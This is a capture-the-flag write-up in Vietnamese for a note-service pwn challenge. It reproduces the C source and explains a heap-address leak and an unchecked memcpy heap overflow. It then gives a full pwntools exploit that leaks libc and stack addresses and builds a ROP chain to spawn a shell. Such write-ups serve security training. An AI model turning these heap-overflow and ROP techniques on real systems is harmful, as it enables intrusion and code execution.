# PWN03-FLAG1
* Trong file zip của challenge có `2` binary là `interface` và `backend`
* Đọc file `start.sh` để biết chương trình chạy như thế nào

* Chạy `interface` với argument là `backend`

* Option `1`
```cpp=
void add_new_note()
{
char title[32];
char author[32];
char buf[64];
char passwd_hash[SHA256_DIGEST_LENGTH];
int is_encrypt;
uint32_t content_len;
if(notes_size > MAX_NOTE){
printf("Unable to add new note\n");
return;
}
printf("Title: ");
read_line(title, sizeof(title) - 1);
printf("Author: ");
read_line(author, sizeof(author) - 1);
do{
printf("Wanna encrypt this notes? (y/n) ");
read_line(buf, sizeof(buf));
}while(buf[0] != 'y' && buf[0] != 'n');
is_encrypt = buf[0] == 'y' ? 1 : 0;
Note_t new_note = Note_init(title, author, 0, is_encrypt);
if(is_encrypt){
printf("What is your passwd? ");
bzero(buf, sizeof(buf));
read_line(buf, sizeof(buf) - 1);
SHA256((const unsigned char *)buf, strlen(buf), (unsigned char *)passwd_hash);
}
printf("How many bytes for content? ");
content_len = read_int();
if(content_len > MAX_CONTENT_LEN){
content_len = MAX_CONTENT_LEN;
}
printf("Content: \n");
new_note->note_content = malloc(content_len);
new_note->note_content_len = content_len;
fgets(new_note->note_content, content_len, stdin);
if(is_encrypt){
// sync this note to backend
size_t send_size = sizeof(struct msg_hdr) + sizeof(struct NoteSerialize) + sizeof(passwd_hash) + content_len;
msg_hdr_t send_msg = malloc(send_size);
send_msg->action = COMMIT;
send_msg->msg_size = send_size - sizeof(struct msg_hdr);
NoteSerialize_t serialize_p = (NoteSerialize_t)send_msg->msg_content;
memcpy(&(serialize_p->common), &(new_note->common), sizeof(struct NoteCommon));
serialize_p->note_content_len = sizeof(passwd_hash) + content_len;
memcpy(serialize_p->content, passwd_hash, sizeof(passwd_hash));
memcpy(&(serialize_p->content[sizeof(passwd_hash)]), new_note->note_content, new_note->note_content_len);
send_data(&ipc, RECEIVER, send_msg, send_size);
free(send_msg);
uint64_t status = 0;
int rc = recv_data_timeout(&ipc, SENDER, NULL, (uint64_t *)&status, 60);
if(IS_ERR(rc) || status != OK){
printf("Unable to sync this note to server :(, destroying this note\n");
Note_destroy(new_note);
return;
}
free(new_note->note_content);
new_note->note_content = NULL;
new_note->note_synced = 1;
}
DL_APPEND(notes, new_note);
notes_size++;
puts("Added");
}
```
* Khởi tạo`1` note. Nếu như chọn option `encrypt` thì hàm này sẽ tạo `1` key bằng cách lấy hash `SHA256` của `password` mình nhập vào rồi gửi cho `backend` để `backend` mã hóa, còn không thì sẽ chỉ tạo note đó trên `interface`
* 1 số structs mà `interface` sử dụng
```cpp=
struct Note {
struct NoteCommon common;
char *note_content;
struct Note *prev;
struct Note *next;
};
struct NoteSerialize {
struct NoteCommon common;
char content[];
};
struct NoteCommon {
char title[MAX_LEN];
char author[32];
uint32_t content_len;
uint32_t flags;
uint32_t encrypt:1;
uint32_t synced:1; // unsed in backend
};
typedef enum Action {
NONE = 0,
COMMIT = 1,
FETCH = 2,
DELETE = 3,
AUTH = 4,
TRUNCATED = 5 // use for reply_msg is larger than SHM_MEM_MAX_SIZE
} Action;
struct msg_hdr {
Action action;
uint32_t msg_size;
char msg_content[];
};
```
* Option 2
```cpp=
void list_note()
{
Note_t tnote;
DL_FOREACH(notes, tnote){
printf("Title: %s\n", tnote->note_title);
printf("Author: %s\n", tnote->note_author);
if(tnote->note_is_encrypt){
printf("Content: (Encrypted)\n");
} else {
printf("Content: %s\n", tnote->note_content);
}
}
}
```
* Đơn giản là in ra `content` của các note(nếu không được mã hóa)
* Option 3
```cpp=
void read_note()
{
struct Note s_note;
Note_t tmp;
char buf[64];
char passwd_hash[SHA256_DIGEST_LENGTH];
msg_hdr_t send_msg;
msg_hdr_t recv_msg;
size_t recv_size = 0;
size_t send_size = 0;
NoteSerialize_t serialize_p;
Status status;
int rc;
bzero(&s_note, sizeof(struct Note));
printf("Title: ");
read_line(s_note.note_title, sizeof(s_note.note_title) - 1);
printf("Author: ");
read_line(s_note.note_author, sizeof(s_note.note_author) - 1);
DL_SEARCH(notes, tmp, &s_note, Note_cmp);
if(!tmp){
printf("Unable to find your note\n");
return;
}
if(tmp->note_is_encrypt){
printf("Password? ");
read_line(buf, sizeof(buf) - 1);
// sha1 here
SHA256((const unsigned char *)buf, strlen(buf), (unsigned char *)passwd_hash);
// read from backend
send_size = sizeof(struct msg_hdr) + sizeof(struct NoteSerialize) + SHA256_DIGEST_LENGTH;
send_msg = malloc(send_size);
send_msg->action = FETCH;
send_msg->msg_size = send_size - sizeof(struct msg_hdr);
serialize_p = (NoteSerialize_t)send_msg->msg_content;
memcpy(&(serialize_p->common), &(tmp->common), sizeof(struct NoteCommon));
memcpy(serialize_p->content, passwd_hash, sizeof(passwd_hash));
send_data(&ipc, RECEIVER, send_msg, send_size);
free(send_msg);
rc = recv_data_timeout(&ipc, SENDER, (void **)&recv_msg, &recv_size, 60);
if(IS_ERR(rc) || recv_size < sizeof(struct msg_hdr)){
printf("Unable to read content\n");
return;
}
serialize_p = (NoteSerialize_t)recv_msg->msg_content;
printf("Content: %s\n", serialize_p->content);
} else {
printf("Content: %s\n", tmp->note_content);
}
}
```
* Chọn `1` note để in ra `content`. Nếu note được mã hóa thì sẽ lấy `content` trên `backend` bằng cách đưa cho `password` để chương trình tạo `key` và thông qua xác thực thì mới lấy được nội dung của note. Còn nếu không bị encrypt thì lấy luôn `content` của note trên `interface`
* Option 4
```cpp=
void edit_note()
{
struct Note s_note;
Note_t tmp;
char buf[64];
char passwd_hash[SHA256_DIGEST_LENGTH];
msg_hdr_t send_msg;
size_t send_size = 0;
NoteSerialize_t serialize_p;
uint64_t status;
int rc;
bzero(&s_note, sizeof(struct Note));
printf("Title: ");
read_line(s_note.note_title, sizeof(s_note.note_title) - 1);
printf("Author: ");
read_line(s_note.note_author, sizeof(s_note.note_author) - 1);
DL_SEARCH(notes, tmp, &s_note, Note_cmp);
if(!tmp){
printf("Unable to find your note\n");
return;
}
if(tmp->note_is_encrypt){
printf("Password ?");
read_line(buf, sizeof(buf) - 1);
// sha256
SHA256((const unsigned char *)buf, strlen(buf), (unsigned char *)passwd_hash);
// sync with server
send_size = sizeof(struct msg_hdr) + sizeof(struct NoteSerialize) + sizeof(passwd_hash);
send_msg = malloc(send_size);
send_msg->action = AUTH;
send_msg->msg_size = send_size - sizeof(struct msg_hdr);
serialize_p = (NoteSerialize_t)send_msg->msg_content;
memcpy(&(serialize_p->common), &(tmp->common), sizeof(struct NoteCommon));
serialize_p->note_content_len = sizeof(passwd_hash);
memcpy(serialize_p->content, passwd_hash, sizeof(passwd_hash));
send_data(&ipc, RECEIVER, send_msg, send_size);
free(send_msg);
rc = recv_data_timeout(&ipc, SENDER, NULL, &status, 60);
if(IS_ERR(rc) || status != OK){
printf("Authenticate was failed\n");
return;
}
printf("Access granted\n");
}
printf("New content len?");
uint32_t content_len = read_int();
content_len = content_len < MAX_CONTENT_LEN ? content_len: MAX_CONTENT_LEN;
printf("New content:\n");
if(tmp->note_is_encrypt){
tmp->note_content = malloc(content_len);
tmp->note_content_len = content_len;
fgets(tmp->note_content, content_len, stdin);
// sync with server
send_size = sizeof(struct msg_hdr) + sizeof(struct NoteSerialize) + sizeof(passwd_hash) + content_len;
send_msg = malloc(send_size);
send_msg->action = COMMIT;
send_msg->msg_size = send_size - sizeof(struct msg_hdr);
serialize_p = (NoteSerialize_t)send_msg->msg_content;
memcpy(&(serialize_p->common), &(tmp->common), sizeof(struct NoteCommon));
serialize_p->note_content_len += sizeof(passwd_hash);
memcpy(serialize_p->content, passwd_hash, sizeof(passwd_hash));
memcpy(serialize_p->content + sizeof(passwd_hash), tmp->note_content, tmp->note_content_len);
free(tmp->note_content);
tmp->note_content = NULL;
send_data(&ipc, RECEIVER, send_msg, send_size);
free(send_msg);
rc = recv_data_timeout(&ipc, SENDER, NULL, (uint64_t *)&status, 60);
if(IS_ERR(rc) || status != OK){
printf("Unable to update your content\n");
return;
}
tmp->note_synced = 1;
} else {
if(tmp->note_content){
free(tmp->note_content);
}
tmp->note_content = malloc(content_len);
tmp->note_content_len = content_len;
fgets(tmp->note_content, content_len, stdin);
tmp->note_synced = 0;
}
}
```
* Chọn `1` note để thay đổi `content`. Nếu được mã hóa thì sẽ phải qua bước xác thực tới `backend` còn không thì sẽ chỉ thay đổi `content` trên `interface`
* Cuối cùng là hàm `note_sync` ở option 6
```cpp=
int note_sync(int flag)
{
msg_hdr_t msg_hdr = NULL;
uint32_t send_size, recv_size;
struct msg_hdr inline_msg_hdr;
Note_t cur_note, next_note, next_note2;
NoteSerialize_t serialize_p;
uint64_t status;
uint32_t read_count = 0;
int rc;
if(flag == 1){
send_size = sizeof(struct msg_hdr);
next_note = notes;
next_note2 = notes;
// commit un-synced note to backend
DL_FOREACH(next_note, cur_note){
if(cur_note->note_synced)
continue;
send_size += sizeof(struct NoteSerialize) + cur_note->note_content_len;
if(send_size > SHM_MEM_MAX_SIZE){
next_note = cur_note;
break;
}
}
if(send_size == sizeof(struct msg_hdr)){
printf("All notes was synced\n");
return 0;
}
msg_hdr = malloc(send_size);
msg_hdr->action = COMMIT;
msg_hdr->msg_size = send_size - sizeof(struct msg_hdr);
serialize_p = (NoteSerialize_t)msg_hdr->msg_content;
DL_FOREACH(next_note2, cur_note) {
if(cur_note->note_synced)
continue;
memcpy(&(serialize_p->common), &(cur_note->common), sizeof(struct NoteCommon));
memcpy(serialize_p->content, cur_note->note_content, cur_note->note_content_len);
serialize_p = (NoteSerialize_t)((size_t)serialize_p + sizeof(struct NoteSerialize) + cur_note->note_content_len);
cur_note->note_synced = 1;
}
send_data(&ipc, RECEIVER, msg_hdr, send_size);
free(msg_hdr);
rc = recv_data_timeout(&ipc, SENDER, NULL, (uint64_t *)&status, 60);
if(IS_ERR(rc) || status != OK){
printf("Unable to commit data to backend\n");
return 1;
}
} else {
// fetch from backend
inline_msg_hdr.action = FETCH;
inline_msg_hdr.msg_size = 0xFFFFFFFF; // fetch all except encrypted note content
send_data(&ipc, RECEIVER, &inline_msg_hdr, sizeof(inline_msg_hdr));
int truncated = 0;
do{
truncated = 0;
rc = recv_data_timeout(&ipc, SENDER, (void **)&msg_hdr, (uint64_t *)&recv_size, 60);
if(IS_ERR(rc) || recv_size < sizeof(struct msg_hdr)){
if((Status)recv_size == OK){
return 0;
} else {
printf("Unable to fetch data from backend\n");
return 1;
}
}
if(msg_hdr->action == TRUNCATED)
truncated = 1;
Note_t search_note;
// parse from backend
while(read_count < msg_hdr->msg_size){
serialize_p = (NoteSerialize_t)((size_t)msg_hdr->msg_content + read_count);
Note_t new_note = Note_init(serialize_p->note_title,
serialize_p->note_author,
serialize_p->note_content_len,
serialize_p->note_is_encrypt);
read_count += sizeof(struct NoteSerialize);
Note_t p_note;
DL_SEARCH(notes, search_note, new_note, Note_cmp);
p_note = search_note;
if(!search_note){
p_note = new_note;
}
// update new content
if(!p_note->note_is_encrypt){
memcpy(p_note->note_content, serialize_p->content, serialize_p->note_content_len);
read_count += new_note->note_content_len;
}
if(p_note->note_is_encrypt) {
p_note->note_synced = 1;
if(p_note->note_content){
free(p_note->note_content);
p_note->note_content = NULL;
}
}
if(!search_note){
DL_APPEND(notes, new_note);
} else {
Note_destroy(new_note);
}
}
if(truncated){
// signal backend send next data
send_data(&ipc, RECEIVER, NULL, OK);
}
} while(truncated);
}
return 0;
}
```
* Sẽ có `2` option đó là `c` hoặc `s`. `c` tức là `COMMIT` tất cả các note của `interface` lên `backend`, `s` là cập nhật tất cả note của `backend` về `interface`
## TÌM BUG
* Ở hàm `edit_note`
```cpp=
if(tmp->note_content){
free(tmp->note_content);
}
tmp->note_content = malloc(content_len);
tmp->note_content_len = content_len;
fgets(tmp->note_content, content_len, stdin);
tmp->note_synced = 0;
```
* Khi `malloc` thì chương trình không khởi tạo giá trị ban đầu nên vẫn còn sót lại trên `heap` nên có thể leak dc
* Edit note với cùng `1` size thì khi `malloc` nó sẽ nhận lại chunk vừa `free`
* Chunk khi vừa được `free`

* Sau hàm `fgets`

* Như vậy là có thể leak dc heap
```py=
new_note(b'a', b'a', 1, b'a')
edit_note(b'a', b'a', 1, b'a')
```
* Tương tự ta tạo `1` note với `content` lớn để có `unsorted bin` để leak libc. Cần phải tạo thêm `1` note khác để chương trình `malloc` `1` chunk ở sau khi `free` chunk lớn thành `unsorted bin` sẽ không bị nhập vào `top chunk`
```py=
edit_note(b'a', b'a', 0x500, b'a')
new_note(b'b', b'b', 1, b'b')
edit_note(b'a', b'a', 1, b'a')
```
* Như vậy là giờ mình đã có `heap` và `libc`
* Bug tiếp theo nằm ở hàm `note_sync` khi lấy data từ `backend` về `interface`
```cpp=
Note_t search_note;
// parse from backend
while(read_count < msg_hdr->msg_size){
serialize_p = (NoteSerialize_t)((size_t)msg_hdr->msg_content + read_count);
Note_t new_note = Note_init(serialize_p->note_title,
serialize_p->note_author,
serialize_p->note_content_len,
serialize_p->note_is_encrypt);
read_count += sizeof(struct NoteSerialize);
Note_t p_note;
DL_SEARCH(notes, search_note, new_note, Note_cmp);
p_note = search_note;
if(!search_note){
p_note = new_note;
}
// update new content
if(!p_note->note_is_encrypt){
memcpy(p_note->note_content, serialize_p->content, serialize_p->note_content_len);
read_count += new_note->note_content_len;
}
if(p_note->note_is_encrypt) {
p_note->note_synced = 1;
if(p_note->note_content){
free(p_note->note_content);
p_note->note_content = NULL;
}
}
```
* Nếu như tìm thấy note trên `interface` thì mặc nhiên nó sẽ `memcpy` nội dung từ `backend` vào `content` của `interface` mà sẽ không check bound. Vậy thì nếu như note trên `interface` có `content` size khác với trên `backend` thì ta sẽ có `BOF`
* Đầu tiên để đẩy note lên `backend` thì mình dùng `note_sync(1)` như vậy thì mỗi note chương trình sẽ đánh dấu `cur_note->note_synced = 1;`
* Khi mà `edit_note` để thay đổi size của `content` thì nó sẽ không quan tâm đến flag đó mà chỉ quan tâm đến flag `is_encrypt` nếu không có thì sẽ chỉ đổi `content` trên `interface` mà không commit tới `backend`. Như vậy là ta có `heap overflow`
## KHAI THÁC
* Đầu tiên mình tạo `1` note với size lớn, sau đó dùng `sync_note(1)` để commit tới `backend` sau đó thay đổi `content` note đó thành size bé hơn rồi tạo thêm `1` note mới để `heap overflow` sẽ overwrite note mới đó
```py=
payload = b'A'*0x10
payload += p64(0) + p64(0x91)
payload += p64(0x62) + p64(0)*7
payload += p64(0x62) + p64(0)*3
payload += p64(0x10) + p64(0) + p64(libc.symbols['environ']) + p64(heap + 0x370)
payload += p64(0) + p64(0x21)
payload += p64(libc.address + 0x21ace0)*2
payload += p64(0) + p64(0x91)
payload += p64(0x61) + p64(0)*7
payload += p64(0x61) + p64(0)*3
payload += p64(0x200) + p64(0)*4 + p64(0xf1)
payload += p64(libc.address + 0x21ace0)*2
payload = payload.ljust(0x200, b'\x00')
new_note(b'a', b'a', 0x200, payload)
note_sync('c')
edit_note(b'a', b'a', 1, b'a')
new_note(b'b', b'b', 1, b'hehe')
```
* Để trigger bug
```py=
note_sync('s')
```
* Chạy đến `memcpy`

* Copy `0x200` bytes

* Ta thấy chunk `0x55969bf77610` chỉ có size `0x20` và phía trên là note thứ `2` mà mình tạo. Craft payload để ghi đè note đó. Thay đổi `content` thành `environ` để leak stack
```py=
payload = b'A'*0x10
payload += p64(0) + p64(0x91)
payload += p64(0x62) + p64(0)*7
payload += p64(0x62) + p64(0)*3
payload += p64(0x10) + p64(0) + p64(libc.symbols['environ']) + p64(heap + 0x370)
payload += p64(0) + p64(0x21)
payload += p64(libc.address + 0x21ace0)*2
payload += p64(0) + p64(0x91)
payload += p64(0x61) + p64(0)*7
payload += p64(0x61) + p64(0)*3
payload += p64(0x200) + p64(0)*4 + p64(0xf1)
payload += p64(libc.address + 0x21ace0)*2
payload = payload.ljust(0x200, b'\x00')
```
* Sau khi `memcpy`

* Như vậy là ta đã có `stack`
* Tiếp theo mình sẽ lại khai thác lỗi này để tạo ropchain
* Lại tạo `1` note có `content` lớn và `1` note khác để commit tới `backend`, lần này sẽ trigger `2` lần `memcpy`. Lần đầu tiên sẽ dùng `memcpy` để overwrite `1` note như vừa rồi, `memcpy` thứ `2` sẽ dùng để tạo ropchain
* Lần `memcpy` đầu tiên

* Overwrite `content` của note tiếp theo thành `saved rip` của `note_sync`


* Lần `memcpy` thứ `2`

* Cuối cùng ta có ropchain


* Script
```py=
from pwn import *
import psutil
sla = lambda delim, data: p.sendlineafter(delim, data)
sa = lambda delim, data: p.sendafter(delim, data)
interface = context.binary = ELF('interface')
libc = ELF('libc.so.6')
def pidof(name):
pid = 0
for proc in psutil.process_iter():
if name == proc.name():
pid = proc.pid
break
return pid
def choice(i):
sla(b'Choice: ', str(i).encode())
def new_note(title, author, content_len, content, encrypt = None):
choice(1)
sla(b'Title', title)
sla(b'Author', author)
if encrypt != None:
sla(b'notes?', b'y')
sla(b'passwd? ', encrypt)
else:
sla(b'notes?', b'n')
sla(b'content?', str(content_len).encode())
sa(b'Content: ', content)
p.sendline(b'')
def list_note():
choice(2)
def read_note(title, author, encrypt = None):
choice(3)
sla(b'Title', title)
sla(b'Author', author)
if encrypt != None:
sla(b'Password', encrypt)
def edit_note(title, author, content_len, content, encrypt = None):
choice(4)
sla(b'Title', title)
sla(b'Author', author)
if encrypt != None:
sla(b'Password', encrypt)
sla(b'len', str(content_len).encode())
sla(b'content', content)
def delete_note(title, author, encrypt = None):
choice(5)
sla(b'Title', title)
sla(b'Author', author)
if encrypt != None:
sla(b'password', encrypt)
def note_sync(s_c):
choice(6)
if s_c == 'c':
sla(b'note? ', b'c')
else:
sla(b'note? ', b's')
def GDB(proc):
gdb.attach(proc, gdbscript='''
#b delete_note
b *(note_sync + 547)
#b *(add_new_note + 316)
#b edit_note
c''')
def GDB_backend(proc):
gdb.attach(proc, gdbscript='''
#b NoteBackend_init
c''')
def GDB_All():
GDB(p)
#GDB_backend(pidof('backend'))
# = remote('0', 31339)
#p = remote('139.162.29.93', 31339)
p = process(['./interface', './backend'])
#print('pidof: ', pidof('backend'))
new_note(b'a', b'a', 1, b'a')
#p.sendline(b'')
#leak heap
edit_note(b'a', b'a', 1, b'a')
list_note()
p.recvuntil(b'Content: ')
leak = p.recvline()[:-1]
leak = int.from_bytes(leak, byteorder='little')
print('leak: ', hex(leak))
heap = leak << 4*3
print('heap: ', hex(heap))
#leak libc
edit_note(b'a', b'a', 0x500, b'a')
new_note(b'b', b'b', 1, b'b')
#p.sendline(b'')
edit_note(b'a', b'a', 1, b'a')
list_note()
p.recvuntil(b'Content: ')
leak = p.recvline()[:-1]
leak = int.from_bytes(leak, byteorder='little')
print('leak: ', hex(leak))
libc.address = leak - 0x21b110
print('libc: ', hex(libc.address))
delete_note(b'a', b'a')
delete_note(b'b', b'b')
payload = b'A'*0x10
payload += p64(0) + p64(0x91)
payload += p64(0x62) + p64(0)*7
payload += p64(0x62) + p64(0)*3
payload += p64(0x10) + p64(0) + p64(libc.symbols['environ']) + p64(heap + 0x370)
payload += p64(0) + p64(0x21)
payload += p64(libc.address + 0x21ace0)*2
payload += p64(0) + p64(0x91)
payload += p64(0x61) + p64(0)*7
payload += p64(0x61) + p64(0)*3
payload += p64(0x200) + p64(0)*4 + p64(0xf1)
payload += p64(libc.address + 0x21ace0)*2
payload = payload.ljust(0x200, b'\x00')
new_note(b'a', b'a', 0x200, payload)
note_sync('c')
edit_note(b'a', b'a', 1, b'a')
new_note(b'b', b'b', 1, b'hehe')
note_sync('s')
list_note()
p.recvuntil(b'Author: b\n')
p.recvuntil(b'Content: ')
leak = p.recvline()[:-1]
leak = int.from_bytes(leak, byteorder='little')
print('leak: ', hex(leak))
stack = leak
print('stack: ', hex(stack))
#new_note(b'a', b'a', 1, b'a')
#delete_note(b'a', b'a')
#
payload = b'\x00'*0x200
payload += p64(0) + p64(0x21) + b'A'*0x10 + p64(0) + p64(0x91)
payload += p64(0x62) + p64(0)*7 + p64(0x62) + p64(0)*3 + p64(0x10) + p64(0)
payload += p64(stack)
payload += p64(heap + 0x630) + p64(0) + p64(0x21)
payload += p64(libc.address + 0x21ace0)*2
payload += p64(0) + p64(0x91)
payload += p64(0x61) + p64(0)*7
payload += p64(0x61) + p64(0)*3
payload += p64(0x200) + p64(0) + p64(heap + 0x400) + p64(heap + 0x770)*2 + p64(0x91)
payload += p64(0x62) + p64(0)*7
payload += p64(0x62) + p64(0)*3
payload += p64(0x50) + p64(0x2)
payload += p64(stack - 0x338) + p64(heap + 0x6e0) + p64(0) + p64(0x61)
payload += p64(0xdeadbeef)
print('len: ', hex(len(payload)))
payload2 = b'hihi'
RET = 0x00000000000baaf9 + libc.address#: xor rax, rax ; ret
rop = ROP(libc)
rop.raw(RET)
rop.system(next(libc.search(b'/bin/sh\x00')))
payload2 = rop.chain()
delete_note(b'a', b'a')
delete_note(b'b', b'b')
new_note(b'a', b'a', 0x400, payload)
new_note(b'b', b'b', 0x50, payload2)
note_sync('c')
edit_note(b'a', b'a', 0x200, b'a')
GDB_All()
note_sync('s')
p.interactive()
```